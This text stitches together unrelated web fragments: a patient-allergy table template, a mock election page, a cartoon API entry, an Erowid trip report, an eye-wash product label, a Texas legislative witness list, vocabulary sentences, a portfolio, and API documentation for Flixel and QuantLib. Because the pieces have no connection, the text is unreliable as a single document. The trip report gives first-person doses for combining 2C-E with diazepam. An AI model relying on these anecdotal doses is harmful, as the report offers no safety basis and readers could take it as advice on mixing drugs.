| {{ allergy.patientFirstName }} | {{ allergy.patientLastName }} | {{ allergy.allergyMedication }} | {{ allergy.allergyDescription }} | {{ allergy.createdBy }} |


De
Vote
Candidates
Select your choice for the next president of Princeton University
The Orange Party
The Princeton Party
The Tiger Party


Locations
Blips and Chitz
67
Blips and Chitz
Arcade
Replacement Dimension
['https://rickandmortyapi.com/api/character/242']


I am an experienced user of psychadelics, benzodiazepines, and other possibly relevant psychotropic drugs. In particular, I've had the pleasure of 6 experiences with 2C-E and I've used Valium countless times for various reasons.
The 5th experience I had with 2C-E was an oral dose of 15mg. I was off baseline at an hour and tripped nicely. Although there were many things within the trip I could expand upon in this report, I can easily summarize it by saying that I had interesting visuals and thoughts concurrent with many other reports involving 2C-E. Around the 8 hour mark, I realized that I was very tired but unable to sleep due to constant mental stimulation from the comedown of the trip. I then ingested 15mg of diazepam, hoping to utilize this heavy dose as a sleeping pill of sorts. I allowed one of the 3 Valiums to dissolve under my tongue before swallowing the oily slightly bitter sediment down, a sparse habit of mine when taking this particular orange pill. Typically, I find that diazepam kicks in fully before an hour's time.
After 1.5 hours, I was certain that I was feeling no significant effects from the diazepam at ALL. I felt none of the normal comfort, relaxation, and safety that I often find in benzodiazepines. Smoking cigarettes made me feel much better, a characteristic of taking Valium. I still felt stimulated, not relaxed, though by the 13th hour of the entire experience (5 hours after ingesting the diazepam). At some unknown point after this I drifted off into complete unconsciousness, and slept for approximately 13 hours. I awoke feeling somewhat groggy and uncoordinated, but this cleared up within 10 minutes of waking.
The experience wasn't particularly bad, it was just surprising to feel practically none of the benefits I normally expect. However, I would not take diazepam again on 2C-E, since I feel there is a complete dis-synergy between the two drugs in terms of effect.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


EYE STREAM - water solution
Alcon Laboratories, Inc.
Disclaimer: Most OTC drugs are not reviewed and approved by FDA, however they may be marketed if they comply with applicable regulations and policies. FDA has not evaluated whether this product complies.
Benzalkonium Chloride 0.013% as preservative, Calcium Chloride Dihydrate, Magnesium Chloride Hexahydrate, Potassium Chloride, Sodium Acetate Trihydrate, Sodium Chloride, Sodium Citrate Dihydrate, Sodium Hydroxide and/or Hydrochloric Acid to adjust pH. The pH of the solution is in the physiologic range.
Uses
For irrigating the eye to help relieve irritation, discomfort and burning by removing loose foreign material, air pollutants (smog or pollen), or chlorinated water.
For external use only.
Obtain immediate medical treatment for all open wounds in or near the eyes.
This product is not to be used as a saline solution for rinsing and soaking soft contact lenses.
NOT FOR INJECTION OR INTRAOCULAR SURGERY.
Do not use
When using this product
Stop use and ask a doctor if you experience
Keep out of reach of children.
If swallowed, get medical help or contact a Poison Control Center right away.
|
EYE STREAM
purified water solution | ||||||||||||||||||||||
| ||||||||||||||||||||||
| ||||||||||||||||||||||
| ||||||||||||||||||||||
| ||||||||||||||||||||||
|
| Labeler - Alcon Laboratories, Inc. (008018525) |
| Registrant - Alcon Laboratories, Inc. (008018525) |
| Establishment | |||
| Name | Address | ID/FEI | Business Operations |
|---|---|---|---|
| Alcon Research Ltd | 007672236 | MANUFACTURE(0065-0530) |


WITNESS LIST Environmental Regulation Committee April 20, 2000-1:00P Compliance With Clean Air Standards For: Stock, Chris (Keating Technologies) Against: Holycross, Robert Thomas (Ford Motor Company) On: Biegler, David (TXU) Darby, Marshall (San Miguel lectric Cooperative) Edlund, Carl (US EPA) Foxhall, Nene (Continental Airlines) Gilberg, Howard (North Texas Clean Air Coalition) Hagan, Daniel (American Airlines) Harris, Ron (Collin County Judge) Huston, Robert (TNRCC Chair) Kelleher, Tim (Texas Clean Air Working Group) Moore, James (TXU Gas Alternative Fules Division) Mueller, Chuck (TNRCC) Petty, Dan (North Texas Commission) Ricks, Ron (Southwest Airlines) Walls, Sarah (North Texas Air Coalition)


With an attaboy and a determined spirit, the auburn-haired girl ascended her way through all of life's challenges. [G|D]
The bazar was abuzz with activity as the ballast in her stomach jolted her awake, stirring a sense of excitement and anticipation. [G|D]
The belligerence of the gambler was evident during the game of baccarat; yet his skills were so bankable that the odds were in his favor. [G|D]
When she backtracked and realized it was a bakery she was seeking, not a bagel shop, she was relieved to find herself surrounded by the sweet smells of freshly baked goods. [G|D]


--- layout: page title: About header-img: "img/about-bg.png" ---
Interested in coding to level up professionally as a pen tester. Inquisitive, life-long learner. Excited about the possibilities...


PAOLO VEDORIN
A New Full Stack Developer
Wish Car
Wish Car - Front End
Co-created
This is my first project in HTML/CSS. I have to work for an imaginary farm of electric cars. Its name is "Wish Car" and this is its website.
Animal Cards
Animal Cards - Front End
This is my first project for "Google Front End Challenge". I've made a card about cats.
Stage project: first Laravel
AgID - Front & Back End
This is my first project for a public authority. I've made a simple web app to take care about what is in used to protect their online structures.
Stage project: second Laravel
AgID - Front & Back End
This is my second project for a public authority. It's an evolution of my first project, opened to public. It's a sort of little community.


| Package | org.flixel |
| Class | public class FlxEmitter |
| Inheritance | FlxEmitter FlxCore |
FlxEmitter
is a lightweight particle emitter.
It can be used for one-time explosions or for
continuous fx like rain and fire. FlxEmitter
is not optimized or anything; all it does is launch
FlxSprite
objects out at set intervals
by setting their positions and velocities accordingly.
It is easy to use and relatively efficient, since it
automatically recycles its sprites and/or kills
them once they've been launched.
| Property | Defined by | ||
|---|---|---|---|
| active : Boolean
If an object is not alive, the game loop will not automatically call
update() on it. | FlxCore | ||
| dead : Boolean
If an object is dead, the functions that automate collisions will skip it (see
FlxG.overlapArrays() and FlxG.collideArrays() ). | FlxCore | ||
| delay : Number
How long to wait between particle emissions.
| FlxEmitter | ||
| drag : Number
Sets the x and y drag of each particle to this value on launch.
| FlxEmitter | ||
| exists : Boolean
Kind of a global on/off switch for any objects descended from
FlxCore . | FlxCore | ||
| fixed : Boolean
If an object is 'fixed' in space, it will not budge when it collides with a not-fixed object.
| FlxCore | ||
| gravity : Number
Sets the
acceleration.y member of each particle to this value on launch. | FlxEmitter | ||
| height : uint | FlxCore | ||
| last : Point
Stores the last position of the sprite, used by collision detection algorithm.
| FlxCore | ||
| maxRotation : Number
The maximum possible angular velocity of a particle.
| FlxEmitter | ||
| maxVelocity : Point
The maximum possible velocity of a particle.
| FlxEmitter | ||
| minRotation : Number
The minimum possible angular velocity of a particle.
| FlxEmitter | ||
| minVelocity : Point
The minimum possible velocity of a particle.
| FlxEmitter | ||
| scrollFactor : Point
A point that can store numbers from 0 to 1 (for X and Y independently)
that governs how much this object is affected by the camera subsystem.
| FlxCore | ||
| visible : Boolean
If an object is not visible, the game loop will not automatically call
render() on it. | FlxCore | ||
| width : uint | FlxCore | ||
| x : Number | FlxCore | ||
| y : Number | FlxCore |
| Property | Defined by | ||
|---|---|---|---|
| _flicker : Boolean
Internal helper used for retro-style flickering.
| FlxCore | ||
| _flickerTimer : Number
Internal helper used for retro-style flickering.
| FlxCore | ||
| _particle : uint
Internal marker for where we are in
_sprites . | FlxEmitter | ||
| _sprites : Array
Internal list of all the particles.
| FlxEmitter | ||
| _timer : Number
Internal helper for deciding when to launch particles or kill them.
| FlxEmitter |
| Method | Defined by | ||
|---|---|---|---|
|
FlxEmitter(X:Number = 0, Y:Number = 0, Delay:Number = 0.1)
Creates a new
FlxEmitter object at a specific position with a certain timing. | FlxEmitter | ||
|
Collides a
FlxCore against this object. | FlxCore | ||
|
collideArray(Cores:Array):void
Collides an array of
FlxCore objects against the tilemap. | FlxCore | ||
|
collideArrayX(Cores:Array):void
Collides an array of
FlxCore objects against the tilemap against the X axis only. | FlxCore | ||
|
collideArrayY(Cores:Array):void
Collides an array of
FlxCore objects against the tilemap against the Y axis only. | FlxCore | ||
|
Collides a
FlxCore against this object on the X axis ONLY. | FlxCore | ||
|
Collides a
FlxCore against this object on the Y axis ONLY. | FlxCore | ||
|
createSprites(Graphics:Class, Quantity:uint = 50, Multiple:Boolean = true, Parent:FlxLayer = null):FlxEmitter
This function generates a new array of sprites to attach to the emitter.
| FlxEmitter | ||
|
destroy():void
Called by
FlxLayer when states are changed (if it belongs to a layer)
| FlxCore | ||
|
emit():void
This function can be used both internally and externally to emit the next particle.
| FlxEmitter | ||
|
flicker(Duration:Number = 1):void
Tells this object to flicker, retro-style.
| FlxCore | ||
|
flickering():Boolean
Check to see if the object is still flickering.
| FlxCore | ||
|
getScreenXY(P:Point = null):Point
Call this function to figure out the on-screen position of the object.
| FlxCore | ||
|
hitCeiling(Contact:FlxCore = null):Boolean
Called when this object collides with the bottom of another
FlxCore . | FlxCore | ||
|
Called when this object collides with the top of another
FlxCore . | FlxCore | ||
|
Called when this object collides with another
FlxCore on one of its sides. | FlxCore | ||
|
kill():void
Call this function to turn off all the particles and the emitter.
| FlxEmitter | ||
|
loadSprites(Sprites:Array):FlxEmitter
This function attaches an existing array of sprites to this particle emitter.
| FlxEmitter | ||
|
onScreen():Boolean
Check and see if this object is currently on screen.
| FlxCore | ||
|
Checks to see if some
FlxCore object overlaps this FlxCore object. | FlxCore | ||
|
overlapsPoint(X:Number, Y:Number, PerPixel:Boolean = false):Boolean
Checks to see if a point in 2D space overlaps this
FlxCore object. | FlxCore | ||
|
render():void
FlxSprite and other subclasses override this to draw their contents to the screen. | FlxCore | ||
|
reset(X:Number, Y:Number):void
Handy function for reviving game objects.
| FlxCore | ||
|
restart():void
Call this function to reset the emitter (if you used a negative delay, calling this function "explodes" the emitter again).
| FlxEmitter | ||
|
setRotation(Min:Number = 0, Max:Number = 0):void
A more compact way of setting the angular velocity constraints of the emitter.
| FlxEmitter | ||
|
setSize(Width:uint, Height:uint):void
A more compact way of setting the width and height of the emitter.
| FlxEmitter | ||
|
setXVelocity(Min:Number = 0, Max:Number = 0):void
A more compact way of setting the X velocity range of the emitter.
| FlxEmitter | ||
|
setYVelocity(Min:Number = 0, Max:Number = 0):void
A more compact way of setting the Y velocity range of the emitter.
| FlxEmitter | ||
|
update():void
Called automatically by the game loop, decides when to launch particles and when to "die".
| FlxEmitter |
| delay | property |
public var delay:Number
How long to wait between particle emissions. Set this to a negative number to launch all particles at once. Negative value defines the lifespan of the particle. E.g. a delay of -1 means all the particles launch immediately, but disappear after 1 second.
| drag | property |
public var drag:Number
Sets the x and y drag of each particle to this value on launch.
| gravity | property |
public var gravity:Number
Sets the acceleration.y
member of each particle to this value on launch.
| maxRotation | property |
public var maxRotation:Number
The maximum possible angular velocity of a particle. The default value is 360. NOTE: rotating particles are more expensive to draw than non-rotating ones!
| maxVelocity | property |
public var maxVelocity:Point
The maximum possible velocity of a particle. The default value is (100,100).
| minRotation | property |
public var minRotation:Number
The minimum possible angular velocity of a particle. The default value is -360. NOTE: rotating particles are more expensive to draw than non-rotating ones!
| minVelocity | property |
public var minVelocity:Point
The minimum possible velocity of a particle. The default value is (-100,-100).
| _particle | property |
protected var _particle:uint
Internal marker for where we are in _sprites
.
| _sprites | property |
protected var _sprites:Array
Internal list of all the particles.
| _timer | property |
protected var _timer:Number
Internal helper for deciding when to launch particles or kill them.
| FlxEmitter | () | constructor |
public function FlxEmitter(X:Number = 0, Y:Number = 0, Delay:Number = 0.1)
Creates a new FlxEmitter
object at a specific position with a certain timing.
WARNING: Does not automatically generate particles or attach particles!
X:Number (default = 0 ) — The X position of the emitter.
|
|
Y:Number (default = 0 ) — The Y position of the emitter.
|
|
Delay:Number (default = 0.1 ) — The initial emitter timing.
|
| createSprites | () | method |
public function createSprites(Graphics:Class, Quantity:uint = 50, Multiple:Boolean = true, Parent:FlxLayer = null):FlxEmitter
This function generates a new array of sprites to attach to the emitter.
ParametersGraphics:Class — If you opted to not pre-configure an array of FlxSprite objects, you can simply pass in a particle image or sprite sheet.
|
|
Quantity:uint (default = 50 ) — The number of particles to generate when using the "create from image" option.
|
|
Multiple:Boolean (default = true ) — Whether the image in the Graphics param is a single particle or a bunch of particles (if it's a bunch, they need to be square!).
|
|
Parent:FlxLayer (default = null ) — A FlxLayer object that you can attach things to instead of the current state.
|
FlxEmitter —
This FlxEmitter instance (nice for chaining stuff together, if you're into that).
|
| emit | () | method |
public function emit():void
This function can be used both internally and externally to emit the next particle.
| kill | () | method |
public override function kill():void
Call this function to turn off all the particles and the emitter.
| loadSprites | () | method |
public function loadSprites(Sprites:Array):FlxEmitter
This function attaches an existing array of sprites to this particle emitter.
ParametersSprites:Array — A pre-configured FlxArray of FlxSprite objects for the emitter to use.
|
FlxEmitter —
This FlxEmitter instance (nice for chaining stuff together, if you're into that).
|
| restart | () | method |
public function restart():void
Call this function to reset the emitter (if you used a negative delay, calling this function "explodes" the emitter again).
| setRotation | () | method |
public function setRotation(Min:Number = 0, Max:Number = 0):void
A more compact way of setting the angular velocity constraints of the emitter.
ParametersMin:Number (default = 0 ) — The minimum value for this range.
|
|
Max:Number (default = 0 ) — The maximum value for this range.
|
| setSize | () | method |
public function setSize(Width:uint, Height:uint):void
A more compact way of setting the width and height of the emitter.
ParametersWidth:uint — The desired width of the emitter (particles are spawned randomly within these dimensions).
|
|
Height:uint — The desired height of the emitter.
|
| setXVelocity | () | method |
public function setXVelocity(Min:Number = 0, Max:Number = 0):void
A more compact way of setting the X velocity range of the emitter.
ParametersMin:Number (default = 0 ) — The minimum value for this range.
|
|
Max:Number (default = 0 ) — The maximum value for this range.
|
| setYVelocity | () | method |
public function setYVelocity(Min:Number = 0, Max:Number = 0):void
A more compact way of setting the Y velocity range of the emitter.
ParametersMin:Number (default = 0 ) — The minimum value for this range.
|
|
Max:Number (default = 0 ) — The maximum value for this range.
|
| update | () | method |
public override function update():void
Called automatically by the game loop, decides when to launch particles and when to "die".


Enumeration members
HAgLog
HAgLog: = "HAGLOG"
HAgent
HAgent: = "HAGENT"
RealTimeFeed
RealTimeFeed: = "REAL_TIME_FEED"
RtAgentState
RtAgentState: = "RT_AGENT_STATE"
RtDidState
RtDidState: = "RT_DID_STATE"
RtSkillState
RtSkillState: = "RT_SKILL_STATE"
RtVdnState
RtVdnState: = "RT_VDN_STATE"


|
QuantLib: a free/open-source library for quantitative finance
Fully annotated sources - version 1.30
|
Gauss-Legendre (l,m,n)-p Scheme. More...
#include <ql/pricingengines/vanilla/qdfpamericanengine.hpp>
Public Member Functions | |
| QdFpLegendreScheme (Size l, Size m, Size n, Size p) | |
| Size | getNumberOfChebyshevInterpolationNodes () const override |
| Size | getNumberOfNaiveFixedPointSteps () const override |
| Size | getNumberOfJacobiNewtonFixedPointSteps () const override |
| ext::shared_ptr< Integrator > | getFixedPointIntegrator () const override |
| ext::shared_ptr< Integrator > | getExerciseBoundaryToPriceIntegrator () const override |
| Public Member Functions inherited from QdFpIterationScheme | |
| virtual Size | getNumberOfChebyshevInterpolationNodes () const =0 |
| virtual Size | getNumberOfNaiveFixedPointSteps () const =0 |
| virtual Size | getNumberOfJacobiNewtonFixedPointSteps () const =0 |
| virtual ext::shared_ptr< Integrator > | getFixedPointIntegrator () const =0 |
| virtual ext::shared_ptr< Integrator > | getExerciseBoundaryToPriceIntegrator () const =0 |
| virtual | ~QdFpIterationScheme ()=default |
Private Attributes | |
| const Size | m_ |
| const Size | n_ |
| const ext::shared_ptr< Integrator > | fpIntegrator_ |
| const ext::shared_ptr< Integrator > | exerciseBoundaryIntegrator_ |
Gauss-Legendre (l,m,n)-p Scheme.
| l | order of Gauss-Legendre integration within every fixed point iteration step |
| m | fixed point iteration steps, first step is a partial Jacobi-Newton, the rest are naive Richardson fixed point iterations |
| n | number of Chebyshev nodes to interpolate the exercise boundary |
| p | order of Gauss-Legendre integration in final conversion of the exercise boundary into option prices |
Definition at line 53 of file qdfpamericanengine.hpp.
| QdFpLegendreScheme | ( | Size | l, |
| Size | m, | ||
| Size | n, | ||
| Size | p | ||
| ) |
Definition at line 37 of file qdfpamericanengine.cpp.
|
overridevirtual |
Implements QdFpIterationScheme.
Definition at line 48 of file qdfpamericanengine.cpp.
|
overridevirtual |
Implements QdFpIterationScheme.
Definition at line 52 of file qdfpamericanengine.cpp.
|
overridevirtual |
Implements QdFpIterationScheme.
Definition at line 55 of file qdfpamericanengine.cpp.
|
overridevirtual |
Implements QdFpIterationScheme.
Definition at line 61 of file qdfpamericanengine.cpp.
|
overridevirtual |
Implements QdFpIterationScheme.
Reimplemented in QdFpLegendreTanhSinhScheme.
Definition at line 65 of file qdfpamericanengine.cpp.
|
private |
Definition at line 65 of file qdfpamericanengine.hpp.
|
private |
Definition at line 65 of file qdfpamericanengine.hpp.
|
private |
Definition at line 66 of file qdfpamericanengine.hpp.
|
private |
Definition at line 67 of file qdfpamericanengine.hpp.


# Episode 024
## Integrating IdentityServer4
## Part 4: Back for front
ASP.NET Core: From 0 to overkill
## In the previous episode
- Configured the API to require authenticated requests
- Using an access token as the user's identification
## In this episode
- Configure the BFF to authenticate/authorize the user
- Provide the access token on API calls
- Refresh the access token
- Support cross-site request forgery token
## The usual plugs...
- If these videos are being useful
- Like
- Share
- Leave feedback